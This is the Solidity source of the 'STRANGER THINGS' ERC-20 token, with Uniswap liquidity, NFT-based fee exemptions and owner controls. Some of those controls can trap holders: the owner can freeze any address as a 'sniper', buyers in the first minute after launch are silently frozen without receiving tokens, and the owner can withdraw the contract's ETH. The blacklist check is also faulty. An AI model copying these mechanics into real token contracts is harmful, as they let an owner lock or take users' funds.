文件 1 的 1:StrangerThings.sol
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function waiveOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract StrangerThings is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
IERC721 public STHING_NFT;
string private _name = "STRANGER THINGS";
string private _symbol = "STHINGS";
uint8 private _decimals = 9;
address public marketingWalletAddress = payable(0xcfb4F62fC5Cf8b362cC1834Da937ed1A5E67D813);
address public rewardWalletAddress = payable(0xa92977cBA36D3b7F84D2D28f0d8FFE23ba83B5Fa);
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isMarketPair;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public blacklisted;
mapping (address => bool) private _isSniper;
uint256 _buyLiquidityFee = 20;
uint256 _buyMarketingFee = 20;
uint256 _buyRewardFee = 20;
uint256 _sellLiquidityFee = 20;
uint256 _sellMarketingFee = 20;
uint256 _sellRewardFee = 20;
uint256 public constant MAX_TAX_LIMIT = 60;
uint256 denominator = 1000;
uint256 private _totalSupply = 10_000_000_000 * 10**_decimals;
uint256 private minimumTokensBeforeSwap = 1000 * 10**_decimals;
uint256 public _maxTxAmount = _totalSupply.mul(5).div(denominator);
uint256 public _walletMax = _totalSupply.mul(20).div(denominator);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool tradingActive = false;
bool NFTTAX = true;
bool checkWalletLimit = true;
uint256 _launchTime;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = _totalSupply;
STHING_NFT = IERC721(0xCC41d43fcCd016B73B72839979C2b42258a7e6DE);
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[msg.sender] = true;
isExcludedFromFee[marketingWalletAddress] = true;
isExcludedFromFee[rewardWalletAddress] = true;
isWalletLimitExempt[msg.sender] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[msg.sender] = true;
isTxLimitExempt[address(this)] = true;
isMarketPair[address(uniswapPair)] = true;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function minimumTokensBeforeSwapAmount() public view returns (uint256) {
return minimumTokensBeforeSwap;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[sender], "Your address has been marked as a sniper, you are unable to transfer or swap.");
require(!blacklisted[sender] || !blacklisted[recipient],"Error: Blacklist Bots/Contracts not Allowed!!");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!tradingActive){
require(isExcludedFromFee[sender] || isExcludedFromFee[recipient], "Trading is not active yet.");
}
if (block.timestamp <= _launchTime + 1 minutes) {
_isSniper[recipient] = true;
return true;
}
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
swapAndLiquify();
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = shouldTakeFee(sender,recipient) ? amount : takeFee(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
require(balanceOf(recipient).add(finalAmount) <= _walletMax);
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
if(contractBalance == 0) return;
uint256 half = contractBalance.div(2);
uint256 otherhalf = contractBalance.sub(half);
uint256 initalBalance = address(this).balance;
swapTokensForEth(half);
uint256 recieveETH = address(this).balance.sub(initalBalance);
addLiquidity(otherhalf,recieveETH);
}
function swapTokensForEth(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0,
0,
owner(),
block.timestamp
);
}
function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
if(isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
return true;
}
if (NFTTAX) {
if(isMarketPair[sender]){
return STHING_NFT.balanceOf(recipient) > 0;
}
else if (isMarketPair[recipient]) {
return STHING_NFT.balanceOf(sender) > 0;
}
}
return false;
}
function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint feeAmount;
uint MFEE;
uint RFEE;
uint LFEE;
unchecked {
if(isMarketPair[sender]) {
MFEE = amount.div(denominator).mul(_buyMarketingFee);
RFEE = amount.div(denominator).mul(_buyRewardFee);
LFEE = amount.div(denominator).mul(_buyLiquidityFee);
feeAmount = MFEE + RFEE + LFEE;
}
else if(isMarketPair[recipient]) {
MFEE = amount.div(denominator).mul(_sellMarketingFee);
RFEE = amount.div(denominator).mul(_sellRewardFee);
LFEE = amount.div(denominator).mul(_sellLiquidityFee);
feeAmount = MFEE + RFEE + LFEE;
}
_balances[marketingWalletAddress] = _balances[marketingWalletAddress] + MFEE;
_balances[rewardWalletAddress] = _balances[rewardWalletAddress] + RFEE;
if(LFEE > 0) {
_balances[address(this)] = _balances[address(this)] + LFEE;
emit Transfer(sender, address(this), LFEE);
}
return amount - feeAmount;
}
}
function blacklistBot(address _adr,bool _status) public onlyOwner {
require(Address.isContract(_adr),"Error: BlackList Applicable For Bot/Contracts!!");
blacklisted[_adr] = _status;
}
function rescueFunds() public onlyOwner {
(bool os,) = payable(msg.sender).call{value: address(this).balance}("");
require(os,"Transaction Failed!!");
}
function rescueTokens(IERC20 adr,address recipient,uint amount) public onlyOwner {
adr.transfer(recipient,amount);
}
function setNFT(address _nft) public onlyOwner {
STHING_NFT = IERC721(_nft);
}
function enableWalletLimit(bool _status) public onlyOwner {
checkWalletLimit = _status;
}
function enableTrading() external onlyOwner {
tradingActive = true;
swapAndLiquifyEnabled = true;
_launchTime = block.timestamp;
}
function isSniper(address addr) public view returns (bool) {
return _isSniper[addr];
}
function setsSniper(address addr, bool _status) public onlyOwner {
_isSniper[addr] = _status;
}
function setBuyFee(uint _newLP , uint _newMarket , uint _newReward) public onlyOwner {
uint subtotal = _newLP.add(_newMarket).add(_newReward);
require(subtotal <= MAX_TAX_LIMIT,"Error: Cannot Set More then 6%!!");
_buyLiquidityFee = _newLP;
_buyMarketingFee = _newMarket;
_buyRewardFee = _newReward;
}
function setSellFee(uint _newLP , uint _newMarket , uint _newReward) public onlyOwner {
uint subtotal = _newLP.add(_newMarket).add(_newReward);
require(subtotal <= MAX_TAX_LIMIT,"Error: Cannot Set More then 6%!!");
_sellLiquidityFee = _newLP;
_sellMarketingFee = _newMarket;
_sellRewardFee = _newReward;
}
function setWallets(address _market,address _reward) public onlyOwner {
marketingWalletAddress = _market;
rewardWalletAddress = _reward;
}
function setExcludeFromFee(address _adr,bool _status) public onlyOwner {
require(isExcludedFromFee[_adr] != _status,"Not Changed!!");
isExcludedFromFee[_adr] = _status;
}
function ExcludeWalletLimit(address _adr,bool _status) public onlyOwner {
require(isWalletLimitExempt[_adr] != _status,"Not Changed!!");
isWalletLimitExempt[_adr] = _status;
}
function ExcludeTxLimit(address _adr,bool _status) public onlyOwner {
require(isTxLimitExempt[_adr] != _status,"Not Changed!!");
isTxLimitExempt[_adr] = _status;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
minimumTokensBeforeSwap = newLimit;
}
function setMaxWalletLimit(uint256 newLimit) external onlyOwner() {
_walletMax = newLimit;
}
function setTxLimit(uint256 newLimit) external onlyOwner() {
_maxTxAmount = newLimit;
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setMarketPair(address _pair, bool _status) public onlyOwner {
isMarketPair[_pair] = _status;
}
function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress);
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());
if(newPairAddress == address(0))
{
newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
uniswapPair = newPairAddress;
uniswapV2Router = _uniswapV2Router;
isMarketPair[address(uniswapPair)] = true;
}
}